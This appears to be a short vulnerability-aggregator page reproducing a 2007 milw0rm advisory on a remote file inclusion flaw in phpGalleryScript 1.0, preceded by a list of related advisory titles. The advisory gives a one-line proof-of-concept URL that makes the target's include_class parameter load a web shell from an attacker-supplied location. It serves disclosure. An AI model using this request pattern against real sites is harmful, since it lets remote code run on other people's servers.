Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

PunBB <= 1.2.14 Multiple Vulnerabilities (Advisory)

RFI Weatimages Hack

Crea-Book <= 1.0 Admin Access Bypass / DB Disclosure / Code Execution

php-generics 1.0 Remote File Inclusion Vulnerabilities

From:	MILW0RM <submit_(at)_milw0rm.com>
Date:	11.04.2007
Subject:	phpGalleryScript 1.0 (init.gallery.php include_class) RFI Vulnerability

vendor url: http://tomex.org/

http://[victim]/php/init.gallery.php?include_class=[SHELL DIRECTORY]/something

# milw0rm.com [2007-04-10]